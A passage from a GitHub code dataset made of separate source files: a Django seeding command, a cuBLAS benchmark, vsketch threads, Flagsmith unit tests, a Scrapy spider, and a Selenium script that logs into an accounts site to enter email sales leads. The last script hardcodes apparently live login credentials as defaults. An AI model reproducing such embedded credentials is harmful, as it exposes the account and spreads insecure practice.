x\n","repo_name":"Yiming-M/MHSA","sub_path":"models/fusion/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"9139609149","text":"from django.core.management.base import BaseCommand\n\n# Python\nfrom random import randint\n\nfrom journal_app.models import *\n\n\ndef create_user(start, stop):\n for x in range(start, stop, 1):\n try:\n username = 'user_'+str(x)\n password = '12345'\n email = str(x)+'@gmail.com'\n user = User.objects.create_user(username=username, email=email, password=password)\n user.save()\n except Exception as e:\n print(e)\n print('users create!')\n\n\ndef create_data(start, stop):\n for x in range(start, stop, 1):\n try:\n user = User.objects.get(pk=9)\n goal = 1000\n date = datetime.date(2016, 5, x)\n user_date = Data(user=user, data=date, goal=goal)\n user_date.save()\n except Exception as e:\n print(e)\n print('date create!')\n\n\ndef create_record(start, stop):\n for y in range(1, 3, 1):\n date = Data.objects.get(pk=y)\n for x in range(start, stop, 1):\n try:\n descrip = 'description for day:'+str(y)+' position:'+str(x)\n ammount = randint(0, 601)\n for_date = date\n record = Record(description=descrip, amount=ammount, for_date=for_date)\n record.save()\n except Exception as e:\n print(e)\n print('date create!')\n\n\nclass Command(BaseCommand):\n help = 'Initialize database'\n\n def handle(self, *args, **options):\n #create_user(1, 4)\n #create_data(1, 5)\n create_record(1, 6)\n self.stdout.write('Successfully filled database!')","repo_name":"IliaBulavintsev/journal","sub_path":"journal_app/management/commands/fill_db.py","file_name":"fill_db.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11208496307","text":"import numpy as np\nimport pycuda.driver as drv\nfrom nervanagpu import NervanaGPU\nfrom pycuda.autoinit import context\nfrom scikits.cuda import cublas\n\nprint(context.get_device().name())\n\nhandle = cublas.cublasCreate()\n\nstart, end = (drv.Event(), drv.Event())\n\ndef cublas_dot(A, B, C, alpha=1.0, beta=0.0, repeat=1):\n\n lda = max(A.strides)\n ldb = max(B.strides)\n ldc = max(C.strides)\n\n opA = 't' if A.is_trans else 'n'\n opB = 't' if B.is_trans else 'n'\n op = opB + opA\n\n m = A.shape[0]\n n = B.shape[1]\n k = A.shape[1]\n\n start.record()\n \n # Swap A and B to map from C order to Fortran \n for r in range(repeat):\n cublas.cublasSgemm(handle, opB, opA, n, m, k, alpha, B.gpudata, ldb, A.gpudata, lda, beta, C.gpudata, ldc)\n\n end.record()\n end.synchronize()\n msecs = end.time_since(start) / repeat\n gflops = (m * n * k * 2.0) / (msecs * 1000000.0)\n print(\"%7.3f msecs %4.0f gflops (%s_%s : %d,%d,%d)\" %\n (msecs,gflops,\"cublas\",op,m,n,k))\n\n\nnp.set_printoptions(threshold=8193, linewidth=600, formatter={'float':lambda x: \"% .0f\" % x})\n\nng = NervanaGPU(stochastic_round=False, bench=True)\n\nrepeat = 1\n\nfor dtype in (np.float16, np.float32,):\n \n for K, C, N in ((32,4096,1512),):\n\n for alpha, beta in ((1.0,0.0), (0.5,0.5)):\n\n for op, dimA, dimB, dimC in (\n (\"nn\", (K,C), (C,N), (K,N) ), # fprop\n (\"tn\", (K,C), (K,N), (C,N) ), # bprop\n (\"nt\", (K,N), (C,N), (K,C) ),): # update\n\n devA1 = ng.empty(dimA, dtype=dtype)\n devB1 = ng.empty(dimB, dtype=dtype)\n devC1 = ng.empty(dimC, dtype=dtype)\n\n # fill with uniform randoms from -1 to 1\n devA1[:] = 2 * (.5 - ng.rand())\n devB1[:] = 2 * (.5 - ng.rand())\n devC1[:] = 2 * (.5 - ng.rand())\n\n # just alias if same dtype\n if dtype is np.float32:\n devA2 = devA1\n devB2 = devB1\n # otherwise copy\n else:\n devA2 = ng.empty(dimA, dtype=np.float32)\n devB2 = ng.empty(dimB, dtype=np.float32)\n devA2[:] = devA1\n devB2[:] = devB1\n\n devC2 = ng.empty(dimC, dtype=np.float32)\n devC2[:] = devC1\n\n if op[0] == 't': devA1, devA2 = devA1.T, devA2.T\n if op[1] == 't': devB1, devB2 = devB1.T, devB2.T\n\n ng.dot(devA1, devB1, devC1, alpha=alpha, beta=beta, repeat=repeat)\n\n cublas_dot(devA2, devB2, devC2, alpha=alpha, beta=beta, repeat=repeat)\n\n partial1 = ng.empty((devC1.shape[0],1), dtype=np.float32)\n partial2 = partial1[0:1,0:1]\n\n diff = ng.max(abs(devC2 - devC1), partial=partial1, out=partial2).get()[0,0]\n mean = ng.mean(abs(devC2), partial=partial1, out=partial2).get()[0,0]\n\n #if diff > .1:\n print(\"Error: %.3f%%\" % (100 * diff / mean))\n\n print(\"--------------------------------------------------------------------------------\")\n\ncublas.cublasDestroy(handle)\n","repo_name":"Tangshitao/Semi-supervised-Adaptive-Distillation","sub_path":"caffe2/third_party/nervanagpu/benchmarks/cublas.py","file_name":"cublas.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"31"} +{"seq_id":"20444280521","text":"import pathlib\nfrom traceback import format_exc\nfrom typing import Any, Optional, Type\n\nimport vpype as vp\nfrom PySide6.QtCore import QThread, Signal\n\nimport vsketch\n\n\nclass SketchRunnerThread(QThread):\n completed = Signal(vsketch.SketchClass)\n\n def __init__(\n self,\n sketch_class: Type[vsketch.SketchClass],\n seed: Optional[int],\n *args: Any,\n **kwargs: Any,\n ):\n super().__init__(*args, **kwargs)\n self._sketch_class = sketch_class\n self._seed = seed\n\n def run(self) -> None:\n sketch = None\n try:\n sketch = self._sketch_class.execute(seed=self._seed, finalize=False)\n except Exception as err:\n print(f\"Unexpected error when running sketch: {err}\\n{format_exc()}\")\n if not self.isInterruptionRequested():\n # noinspection PyUnresolvedReferences\n self.completed.emit(sketch) # type: ignore\n\n\nclass DocumentSaverThread(QThread):\n completed = Signal()\n\n def __init__(\n self,\n path: pathlib.Path,\n document: vp.Document,\n *args: Any,\n **kwargs: Any,\n ):\n super().__init__(*args, **kwargs)\n self._path = path\n self._document = document\n\n def run(self) -> None:\n with open(self._path, \"w\") as fp:\n vp.write_svg(fp, self._document)\n # noinspection PyUnresolvedReferences\n self.completed.emit() # type: ignore\n self.deleteLater()\n","repo_name":"tyehle/vsketch","sub_path":"vsketch_cli/threads.py","file_name":"threads.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"33307787718","text":"from datetime import timedelta\n\nimport pytest\nfrom django.utils import timezone\n\nfrom environments.identities.models import Identity\nfrom environments.models import Environment\nfrom features.models import Feature, FeatureSegment, FeatureState\nfrom features.workflows.core.models import ChangeRequest\nfrom segments.models import Segment\n\nnow = timezone.now()\nyesterday = now - timedelta(days=1)\ntomorrow = now + timedelta(days=1)\n\n\ndef test_feature_state_get_environment_flags_queryset_returns_only_latest_versions(\n feature, environment\n):\n # Given\n feature_state_v1 = FeatureState.objects.get(\n feature=feature, environment=environment, feature_segment=None, identity=None\n )\n\n feature_state_v2 = feature_state_v1.clone(\n env=environment, live_from=timezone.now(), version=2\n )\n feature_state_v1.clone(env=environment, as_draft=True) # draft feature state\n\n # When\n feature_states = FeatureState.get_environment_flags_queryset(\n environment_id=environment.id\n )\n\n # Then\n assert feature_states.count() == 1\n assert feature_states.first() == feature_state_v2\n\n\ndef test_project_hide_disabled_flags_have_no_effect_on_feature_state_get_environment_flags_queryset(\n environment, project\n):\n # Given\n project.hide_disabled_flags = True\n project.save()\n # two flags - one disable on enabled\n Feature.objects.create(default_enabled=False, name=\"disable_flag\", project=project)\n Feature.objects.create(default_enabled=True, name=\"enabled_flag\", project=project)\n\n # When\n feature_states = FeatureState.get_environment_flags_queryset(\n environment_id=environment.id\n )\n # Then\n assert feature_states.count() == 2\n\n\ndef test_feature_states_get_environment_flags_queryset_filter_using_feature_name(\n environment, project\n):\n # Given\n flag_1_name = \"flag_1\"\n Feature.objects.create(default_enabled=True, name=flag_1_name, project=project)\n Feature.objects.create(default_enabled=True, name=\"flag_2\", project=project)\n\n # When\n feature_states = FeatureState.get_environment_flags_queryset(\n environment_id=environment.id, feature_name=flag_1_name\n )\n\n # Then\n assert feature_states.count() == 1\n assert feature_states.first().feature.name == \"flag_1\"\n\n\n@pytest.mark.parametrize(\n \"feature_state_version_generator\",\n (\n # test the default case, this should never be true\n (None, None, None, None, False),\n # for the following 6 cases, ensure that we test in both directions\n (2, now, None, None, True),\n (None, None, 2, now, False),\n (2, now, 3, now, False),\n (3, now, 2, now, True),\n (3, now, 2, yesterday, True),\n (3, yesterday, 2, now, False),\n ),\n indirect=True,\n)\ndef test_feature_state_gt_operator(feature_state_version_generator):\n first, second, expected_result = feature_state_version_generator\n assert (first > second) is expected_result\n\n\n@pytest.mark.parametrize(\n \"version, live_from, expected_is_live\",\n (\n (1, yesterday, True),\n (None, None, False),\n (None, yesterday, False),\n (None, tomorrow, False),\n (1, tomorrow, False),\n ),\n)\ndef test_feature_state_is_live(version, live_from, expected_is_live):\n assert (\n FeatureState(version=version, live_from=live_from).is_live == expected_is_live\n )\n\n\ndef test_creating_a_feature_with_defaults_does_not_set_defaults_if_disabled(\n project, environment\n):\n # Given\n project.prevent_flag_defaults = True\n project.save()\n\n default_state = True\n default_value = \"default\"\n\n feature = Feature(\n project=project,\n name=\"test_flag_defaults\",\n initial_value=default_value,\n default_enabled=default_state,\n )\n\n # When\n feature.save()\n\n # Then\n feature_state = FeatureState.objects.get(feature=feature, environment=environment)\n assert feature_state.enabled is False\n assert not feature_state.get_feature_state_value()\n\n\ndef test_feature_state_get_audit_log_related_object_id_returns_nothing_if_uncommitted_change_request(\n environment, feature, admin_user, mocker\n):\n # Given\n change_request = ChangeRequest.objects.create(\n environment=environment, title=\"Test CR\", user=admin_user\n )\n feature_state = FeatureState.objects.create(\n environment=environment,\n feature=feature,\n change_request=change_request,\n version=None,\n )\n\n # When\n related_object_id = feature_state.get_audit_log_related_object_id(\n mocker.MagicMock(id=\"history_instance\")\n ) # history instance is irrelevant here\n\n # Then\n assert related_object_id is None\n\n\n@pytest.mark.parametrize(\n \"feature_segment_id, identity_id, expected_function_name\",\n (\n (1, None, \"get_segment_override_created_audit_message\"),\n (None, 1, \"get_identity_override_created_audit_message\"),\n (None, None, \"get_environment_feature_state_created_audit_message\"),\n ),\n)\ndef test_feature_state_get_create_log_message_calls_correct_helper_function(\n mocker,\n feature_segment_id,\n identity_id,\n environment,\n feature,\n expected_function_name,\n):\n # Given\n mock_audit_helpers = mocker.patch(\"features.models.audit_helpers\")\n feature_state = FeatureState(\n feature_segment_id=feature_segment_id,\n identity_id=identity_id,\n environment=environment,\n feature=feature,\n )\n\n # When\n feature_state.get_create_log_message(\n mocker.MagicMock(id=\"history_instance\")\n ) # history instance is irrelevant here\n\n # Then\n expected_function = getattr(mock_audit_helpers, expected_function_name)\n expected_function.assert_called_once_with(feature_state)\n\n\ndef test_feature_state_get_create_log_message_returns_null_if_environment_created_after_feature(\n feature, mocker\n):\n # Given\n environment = Environment.objects.create(\n name=\"Test environment\", project=feature.project\n )\n feature_state = FeatureState.objects.get(environment=environment, feature=feature)\n\n # When\n log = feature_state.get_create_log_message(mocker.MagicMock())\n\n # Then\n assert log is None\n\n\ndef test_feature_state_get_create_log_message_returns_value_if_environment_created_after_feature_for_override(\n feature, mocker, identity\n):\n # Given\n environment = Environment.objects.create(\n name=\"Test environment\", project=feature.project\n )\n feature_state = FeatureState.objects.create(\n environment=environment, feature=feature, identity=identity\n )\n\n # When\n log = feature_state.get_create_log_message(mocker.MagicMock())\n\n # Then\n assert log is not None\n\n\ndef test_feature_state_get_create_log_message_returns_message_if_environment_created_before_feature(\n environment, mocker\n):\n # Given\n feature = Feature.objects.create(name=\"test_feature\", project=environment.project)\n feature_state = FeatureState.objects.get(environment=environment, feature=feature)\n\n # When\n log = feature_state.get_create_log_message(mocker.MagicMock())\n\n # Then\n assert log is not None\n\n\ndef test_feature_segment_update_priorities_when_no_changes(\n project, environment, feature, feature_segment, admin_user, mocker\n):\n # Given\n mocked_create_segment_priorities_changed_audit_log = mocker.patch(\n \"features.models.create_segment_priorities_changed_audit_log\"\n )\n\n another_segment = Segment.objects.create(project=project, name=\"Another segment\")\n FeatureSegment.objects.create(\n feature=feature,\n segment=another_segment,\n environment=environment,\n priority=feature_segment.priority + 1,\n )\n\n existing_feature_segments = FeatureSegment.objects.filter(\n environment=environment, feature=feature\n )\n existing_id_priority_pairs = FeatureSegment.to_id_priority_tuple_pairs(\n existing_feature_segments\n )\n\n # When\n returned_feature_segments = FeatureSegment.update_priorities(\n new_feature_segment_id_priorities=existing_id_priority_pairs\n )\n\n # Then\n assert list(returned_feature_segments) == list(existing_feature_segments)\n\n mocked_create_segment_priorities_changed_audit_log.delay.assert_not_called()\n\n\ndef test_feature_segment_update_priorities_when_changes(\n project, environment, feature, feature_segment, admin_user, mocker\n):\n # Given\n mocked_create_segment_priorities_changed_audit_log = mocker.patch(\n \"features.models.create_segment_priorities_changed_audit_log\"\n )\n mocked_historical_records = mocker.patch(\"features.models.HistoricalRecords\")\n mocked_request = mocker.MagicMock()\n mocked_historical_records.thread.request = mocked_request\n\n another_segment = Segment.objects.create(project=project, name=\"Another segment\")\n another_feature_segment = FeatureSegment.objects.create(\n feature=feature,\n segment=another_segment,\n environment=environment,\n priority=feature_segment.priority + 1,\n )\n\n existing_id_priority_pairs = FeatureSegment.to_id_priority_tuple_pairs(\n feature.feature_segments.filter(environment=environment)\n )\n new_id_priority_pairs = [(feature_segment.id, 1), (another_feature_segment.id, 0)]\n\n # When\n returned_feature_segments = FeatureSegment.update_priorities(\n new_feature_segment_id_priorities=new_id_priority_pairs\n )\n\n # Then\n assert sorted(\n FeatureSegment.to_id_priority_tuple_pairs(returned_feature_segments),\n key=lambda t: t[1],\n ) == sorted(new_id_priority_pairs, key=lambda t: t[1])\n\n mocked_create_segment_priorities_changed_audit_log.delay.assert_called_once_with(\n kwargs={\n \"previous_id_priority_pairs\": existing_id_priority_pairs,\n \"feature_segment_ids\": [feature_segment.id, another_feature_segment.id],\n \"user_id\": mocked_request.user.id,\n \"master_api_key_id\": mocked_request.master_api_key.id,\n }\n )\n\n\ndef test_feature_get_overrides_data(\n feature,\n environment,\n identity,\n segment,\n feature_segment,\n identity_featurestate,\n segment_featurestate,\n):\n # Given\n # we create some other features with overrides to ensure we're only getting data\n # for each individual feature\n feature_2 = Feature.objects.create(project=feature.project, name=\"feature_2\")\n FeatureState.objects.create(\n feature=feature_2, environment=environment, identity=identity\n )\n\n feature_3 = Feature.objects.create(project=feature.project, name=\"feature_3\")\n feature_segment_for_feature_3 = FeatureSegment.objects.create(\n feature=feature_3, segment=segment, environment=environment\n )\n FeatureState.objects.create(\n feature=feature_3,\n environment=environment,\n feature_segment=feature_segment_for_feature_3,\n )\n\n # and an override for another identity that has been deleted\n another_identity = Identity.objects.create(\n identifier=\"another-identity\", environment=environment\n )\n fs_to_delete = FeatureState.objects.create(\n feature=feature, environment=environment, identity=another_identity\n )\n fs_to_delete.delete()\n\n # When\n overrides_data = Feature.get_overrides_data(environment.id)\n\n # Then\n assert overrides_data[feature.id].num_identity_overrides == 1\n assert overrides_data[feature.id].num_segment_overrides == 1\n\n assert overrides_data[feature_2.id].num_identity_overrides == 1\n assert overrides_data[feature_2.id].num_segment_overrides == 0\n\n assert overrides_data[feature_3.id].num_identity_overrides is None\n assert overrides_data[feature_3.id].num_segment_overrides == 1\n\n\ndef test_feature_state_gt_operator_for_multiple_versions_of_segment_overrides(\n feature, segment, feature_segment, environment\n):\n # Given\n v1_segment_override = FeatureState.objects.create(\n feature=feature, environment=environment, feature_segment=feature_segment\n )\n v2_segment_override = FeatureState.objects.create(\n feature=feature,\n environment=environment,\n feature_segment=feature_segment,\n version=2,\n )\n\n # Then\n assert v2_segment_override > v1_segment_override\n\n\ndef test_feature_state_gt_operator_for_segment_overrides_and_environment_default(\n feature, segment, feature_segment, environment\n):\n # Given\n segment_override = FeatureState.objects.create(\n feature=feature, environment=environment, feature_segment=feature_segment\n )\n environment_default = FeatureState.objects.get(\n feature=feature,\n environment=environment,\n feature_segment__isnull=True,\n identity__isnull=True,\n )\n\n # Then\n assert segment_override > environment_default\n\n\ndef test_feature_state_clone_for_segment_override_clones_feature_segment(\n feature: Feature,\n segment_featurestate: FeatureState,\n environment: Environment,\n environment_two: Environment,\n) -> None:\n # When\n cloned_fs = segment_featurestate.clone(env=environment_two, as_draft=True)\n\n # Then\n assert cloned_fs.feature_segment != segment_featurestate.feature_segment\n\n assert (\n cloned_fs.feature_segment.segment\n == segment_featurestate.feature_segment.segment\n )\n assert (\n cloned_fs.feature_segment.priority\n == segment_featurestate.feature_segment.priority\n )\n\n\ndef test_feature_segment_clone(\n feature_segment: FeatureSegment,\n environment: Environment,\n environment_two: Environment,\n) -> None:\n # When\n cloned_feature_segment = feature_segment.clone(environment=environment_two)\n\n # Then\n assert cloned_feature_segment.id != feature_segment.id\n\n assert cloned_feature_segment.priority == feature_segment.priority\n assert cloned_feature_segment.segment == feature_segment.segment\n assert cloned_feature_segment.feature == feature_segment.feature\n assert cloned_feature_segment.environment == environment_two\n","repo_name":"Flagsmith/flagsmith","sub_path":"api/tests/unit/features/test_unit_features_models.py","file_name":"test_unit_features_models.py","file_ext":"py","file_size_in_byte":13987,"program_lang":"python","lang":"en","doc_type":"code","stars":3272,"dataset":"github-code","pt":"31"} +{"seq_id":"13707525223","text":"import scrapy\n\n\nclass ExampleSpider(scrapy.Spider):\n name = 'example'\n start_urls = ('http://www.example.com/',)\n\n def parse(self, response):\n yield\n\n\nclass ExampleYieldSpider(ExampleSpider):\n name = 'example-yield'\n\n def parse(self, response):\n yield dict(\n request=dict(\n url=response.request.url,\n meta=response.request.meta,\n method=response.request.method,\n cookies=response.request.cookies,\n encoding=response.request.encoding,\n headers={\n k.decode('utf-8'): [v.decode('utf-8') for v in l]\n for k, l in response.request.headers.items()\n },\n ),\n response=dict(\n url=response.url,\n meta=response.meta,\n flags=response.flags,\n status=response.status,\n headers={\n k.decode('utf-8'): [v.decode('utf-8') for v in l]\n for k, l in response.headers.items()\n },\n body=dict(\n head=response.css('head').extract_first()[:1000],\n title=response.xpath('/html/head/title/text()').extract_first(),\n ),\n )\n )\n","repo_name":"stav/scrapybox","sub_path":"scrapybox/crawler/spiders.py","file_name":"spiders.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"73457239768","text":"\"\"\"\nThis is the primary project program. It is triggered by a button in the 438 Remedy Form\n(which passes arguments to the program). The program checks the inbox for a DVS email, \nextracts data, opens and logs into Eaccounts, then processes data, and waits for operator \nactions. Once done, it records a report in a .csv for TCC. \n\"\"\"\n## PYTHON IMPORTS\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.common.keys import Keys\n\nimport datetime\nimport sys\nimport time\nimport webbrowser\n\n## APP IMPORTS \nfrom app.CSV.csv import CSV\nfrom app.Outlook.outlook438 import Outlook438WebsiteLeads as Outlook438\nfrom app.Selenium.chrome import ChromeDriver\n\nfrom app.functions import is_integer\n\n## MAIN CLASS ##\nclass Project438ActionEmail():\n\n def __init__(self, *args, **kwargs):\n\n ## ARGUMENTS\n # process arguments from Remedy into useable data\n # [loaded_by, username, password]\n self.remedy_data = self.build_remedy_data()\n self.button_action = self.remedy_data[3]\n\n ## OUTLOOK\n # access Outlook and reference the required folders\n self.outlook = Outlook438(self.button_action)\n # access an email to work with\n self.email = self.outlook.get_email()\n if self.email == None:\n sys.exit(0)\n # extract data from email in array, example below:\n # [subject, message, notepad, contact, add1, add2, add3, add4, zip, phone, email, wanted1, wanted2, wanted3, best_time]\n self.email_data = self.build_email_data()\n\n ## NOTEPAD\n self.open_notepad()\n\n ## DRIVER\n # opens a Chrome driver, processes all website data and extracts operator actions\n # this mainly results in self.customer_code and self.email_type values\n self.email_type = \"Call Centre: Sales Lead\"\n self.driver = ChromeDriver().driver\n self.run_driver()\n\n ## PROCESS\n self.process_data()\n time.sleep(300)\n\n ## BUILD METHODS\n def build_remedy_data(self):\n \"\"\"Gets data from arguments and returns as an array.\"\"\"\n\n if len(sys.argv) > 1:\n\n argv = sys.argv\n\n loaded_by = \"%s %s\" % (argv[1], argv[2])\n username = argv[3]\n password = argv[4]\n button_action = argv[5] # Inbox or Follow or CC\n\n else:\n \n loaded_by = \"Michael Atheros\"\n username = \"TCC16\"\n password = \"dvs09\"\n button_action = \"Inbox\"\n\n return [loaded_by, username, password, button_action]\n\n def build_email_data(self):\n \"\"\"Processes an email and returns an array of the data.\"\"\"\n \n dvs_subjects = ['New submission from Free Consultation - Homepage', 'New submission from DVS Contact Us',\n 'New submission from Book A Consultation', 'New submission from Book Service'] \n\n msg = self.email\n subject = msg.subject\n if self.button_action == \"CC\":\n try:\n subject = email.Subject.split(\" - \")[1]\n except:\n pass\n\n message = \"\"\n notepad = msg.body\n\n contact = \"\"\n add1 = \"\"\n add2 = \"\"\n add3 = \"\"\n add4 = \"\"\n zip = \"\"\n\n phone = \"\"\n email = \"\"\n\n wanted1 = \"DVS Consultation\"\n wanted2 = \"\"\n wanted3 = \"\"\n\n best_time = \"\"\n\n lines = msg.body.split('\\n')\n for i in range(len(lines)):\n\n line = lines[i]\n \n if \"Name\" == line[:4] or \"Name:\" == line[:5]:\n contact = lines[i+1].strip()\n elif \"Email\" == line[:5] or \"Email:\" == line[:6]:\n email = lines[i+1].strip()\n try:\n email = email.split('<')[0]\n except:\n pass\n elif \"Phone Number\" == line[:12] or \"Phone Number:\" == line[:13] or \"Phone\" == line[:5] or \"Phone:\" == line[:6]:\n phone = lines[i+1].strip()\n elif \"Address\" == line[:7] or \"Address:\" == line[:7]:\n\n if subject in dvs_subjects[1:]:\n for a in range(1,5):\n txt = lines[i+a].strip()\n if \"Map It\" == txt[:6]:\n break\n\n if a > 1:\n for words in txt.split():\n try:\n if words.is_integer():\n zip = words\n txt = txt.split(zip)[0]\n break\n except:\n pass\n if a == 1:\n add1 = txt.strip()\n elif a == 2:\n add2 = txt.strip()\n elif a == 3:\n add3 = txt.strip()\n else:\n add4 = txt.strip()\n\n elif subject == 'New submission from Free Consultation - Homepage':\n address = lines[i+1].strip().split(',')\n for a in range(len(address)):\n txt = address[a]\n if a > 1:\n for words in txt.split():\n if is_integer(words):\n zip = words\n txt = txt.split(zip)[0]\n break\n if a == 0:\n add1 = txt.strip()\n elif a == 1:\n add2 = txt.strip()\n elif a == 2:\n add3 = txt.strip()\n else:\n add4 = txt.strip()\n\n elif \"Your Message (Optional)\" in line and subject in ['New submission from Book A Consultation', 'New submission from Book Service']:\n\n message = lines[i+1].strip()\n if message != \"\":\n if len(message) > 70:\n wanted1 = message[:70]\n wanted2 = message[70:]\n if len(message) > 140:\n wanted2 = message[70:140]\n wanted3 = message[140:]\n else:\n wanted1 = message\n\n elif 'I have a question about...' in line and subject == 'New submission from DVS Contact Us':\n\n message = lines[i+1].strip()\n if message != \"\":\n wanted1 = message\n \n elif 'Preferred Time Of Day' in line:\n\n best_time = lines[i+1].strip()\n\n elif 'Your Message' in line and subject in ['New submission from DVS Contact Us', 'New submission from DVS Upgrade Enquiry']:\n\n message = lines[i+1].strip()\n if message != \"\":\n if wanted1 == \"\":\n if len(message) > 70:\n wanted1 = message[:70]\n wanted2 = message[70:]\n if len(message) > 140:\n wanted2 = message[70:140]\n wanted3 = message[140:]\n else:\n wanted1 = message\n else:\n if len(message) > 70:\n wanted2 = message[:70]\n wanted3 = message[70:]\n else:\n wanted2 = message\n\n return [subject, message, notepad, contact, \n add1, add2, add3, add4, zip, \n phone, email, \n wanted1, wanted2, wanted3, best_time]\n\n ## NOTEPAD METHODS\n def open_notepad(self):\n \"\"\"Writes a .txt file of the email data and opens the file.\"\"\"\n\n notepad = self.email_data[2]\n loaded_by = self.remedy_data[0]\n\n file = open('G:\\\\Customer Reporting\\\\438-DVS\\\\Automation\\\\Emails\\\\%s.txt' % loaded_by, 'w')\n try:\n file.write(notepad)\n except:\n file.write(\"Check email for details - there is a non-english character that won't show up on Notepad\\nThe Automation should still work though.\")\n file.close()\n\n webbrowser.open('G:\\\\Customer Reporting\\\\438-DVS\\\\Automation\\\\Emails\\\\%s.txt' % loaded_by)\n\n ## DRIVER METHODS\n def run_driver(self):\n\n # login to eaccounts, enter data in prospect form\n self.driver_loginToProspect()\n self.driver_prospectInput()\n\n # Runs a number of checks for the presence of certain elements.\n # Based on the values, the self.email_type may change, and once the code can recognise an \n # action, it returns a string value\n action = self.driver_actionCheck()\n\n # Based on the action value, the following functions determine self.email_type and \n # the self.customer_code value\n if action == \"New Account\":\n self.driver_NewAccount()\n elif action == \"CRM\":\n self.driver_CRM_Note()\n elif action == \"Follow Up\":\n self.driver_FollowUp()\n\n ## PROSPECT LOGIN AND DATA INPUT\n def driver_loginToProspect(self):\n \"\"\"Opens Eaccounts, logs in, and navigates to Prospect page.\"\"\"\n\n username = self.remedy_data[1]\n password = self.remedy_data[2]\n\n self.driver.get(\"https://www7.eaccounts.co.nz/eLogin_Main.asp\") \n self.driver.find_element_by_name(\"User__Name\").send_keys(username)\n self.driver.find_element_by_name(\"User__Pass\").send_keys(password)\n time.sleep(0.5)\n self.driver.find_element_by_name('Login').click()\n time.sleep(0.5)\n self.driver.find_element_by_class_name(\"MENU-BUTTON\").click()\n\n while True:\n try:\n self.driver.find_element_by_name(\"Load_Prospect\").click()\n break\n except:\n pass\n\n def driver_prospectInput(self):\n \"\"\"Enters email_data into Prospect and does a search for the address.\"\"\"\n\n loaded_by = self.remedy_data[0]\n contact = self.email_data[3]\n add1 = self.email_data[4]\n add2 = self.email_data[5]\n add3 = self.email_data[6]\n add4 = self.email_data[7]\n zip = self.email_data[8]\n phone = self.email_data[9]\n email = self.email_data[10]\n wanted1 = self.email_data[11]\n wanted2 = self.email_data[12]\n wanted3 = self.email_data[13]\n best_time = self.email_data[14]\n\n self.driver.find_element_by_name(\"Prospect_Loaded_By\").send_keys(loaded_by)\n self.driver.find_element_by_name(\"Prospect_Contact\").send_keys(contact)\n self.driver.find_element_by_name(\"Prospect_Name\").send_keys(contact)\n self.driver.find_element_by_name(\"Prospect_Del_Add_1\").send_keys(add1)\n self.driver.find_element_by_name(\"Prospect_Del_Add_2\").send_keys(add2)\n self.driver.find_element_by_name(\"Prospect_Del_Add_3\").send_keys(add3)\n self.driver.find_element_by_name(\"Prospect_Del_Add_4\").send_keys(add4)\n self.driver.find_element_by_name(\"Prospect_Del_Zip\").send_keys(zip)\n self.driver.find_element_by_name(\"Prospect_Ph\").send_keys(phone)\n self.driver.find_element_by_name(\"Prospect_CellPh\").send_keys(\"\")\n self.driver.find_element_by_name(\"Prospect_Email\").send_keys(email)\n self.driver.find_element_by_name(\"Prospect_Source\").send_keys(\"[3] Website Email Lead\")\n self.driver.find_element_by_name(\"Prospect_Note_Type\").send_keys(\"Call Centre: Sales Lead\")\n self.driver.find_element_by_name(\"Prospect_Wanted\").send_keys(wanted1)\n self.driver.find_element_by_name(\"Prospect_Wanted2\").send_keys(wanted2)\n self.driver.find_element_by_name(\"Prospect_Wanted3\").send_keys(wanted3)\n self.driver.find_element_by_name(\"Prospect_Relevant\").send_keys(\"\")\n self.driver.find_element_by_name(\"Prospect_Best_Time\").send_keys(best_time)\n\n ## SEARCH CHECK\n self.driver.find_element_by_name(\"dCust__Code\").send_keys(add1)\n self.driver.find_element_by_name(\"dCust__Code\").send_keys(Keys.ENTER)\n\n ## GET ACTION\n def driver_actionCheck(self):\n\n \"\"\"Runs a constant check on the page to see if certain web elements\n are present, if they are it indicates what the operator has done,\n and what type of email this was\n \n This will continue to run untill it can return a valid action value.\"\"\"\n\n while True:\n\n # Prospect Page - Check if Follow Up is written in the Loaded by field\n # this indicates that the email cannot be processed right now i.e. missing\n # information and needs to be followed up\n try:\n check = self.driver.find_element_by_name(\"Prospect_Loaded_By\").get_attribute(\"value\")\n if \"FOLLOW UP\" in check.upper():\n return \"Follow Up\"\n except:\n pass\n\n # Prospect Page - If the address is not in Eaccounts, but this is not a sales lead i.e. a Filter Service\n # for a property with a DVS but not in Eaccounts. This process will create a new account.\n # This does not return, it only changes the self.email_type value.\n try:\n note = Select(self.driver.find_element_by_name(\"Prospect_Note_Type\")).first_selected_option.text\n if note != \"Call Centre: Sales Lead\":\n self.email_type = note\n except:\n pass\n\n # Prospect Page - Once a prospect has been created, returns the action value \"New Account\"\n try:\n if \"New Prospect Saved OK - Code = \" in self.driver.find_elements_by_tag_name('h3')[0].text:\n return \"New Account\"\n except:\n pass\n\n # CRM Note - If the operator does not make a new account but is going to have to action the email for a \n # existing account, they always have to write a CRM note. Once they have moved to this section,\n # this returns the action value \"CRM\"\n try:\n self.driver.find_element_by_name(\"Save_CRM\") # on CRM note page\n return \"CRM\"\n except:\n pass\n\n # After running a check, it waits a third of a second and checks again.\n time.sleep(0.3)\n\n ## GET DATA BASED ON ACTION ##\n def driver_NewAccount(self):\n \"\"\"Assigns Customer Code of the new prospect/account.\"\"\"\n\n self.customer_code = self.driver.find_elements_by_tag_name('h3')[0].text.split(\"New Prospect Saved OK - Code = \")[1]\n\n def driver_CRM_Note(self):\n \"\"\"Awaits action, and assigns customer code and email type\"\"\"\n\n # wait for action choice\n while True:\n\n summary = Select(self.driver.find_element_by_id(\"CRM_Note_Type\")).first_selected_option.text\n if \"Call Centre:\" in summary:\n \n # assign self.email_type\n self.email_type = summary\n\n # assign self.customer_code\n form_table = self.driver.find_element_by_class_name(\"form_table\")\n self.customer_code = form_table.find_elements_by_tag_name(\"b\")[0].text.split(\" ]\")[0].replace(\"[ \", \"\")\n\n return\n\n # If, once the operator 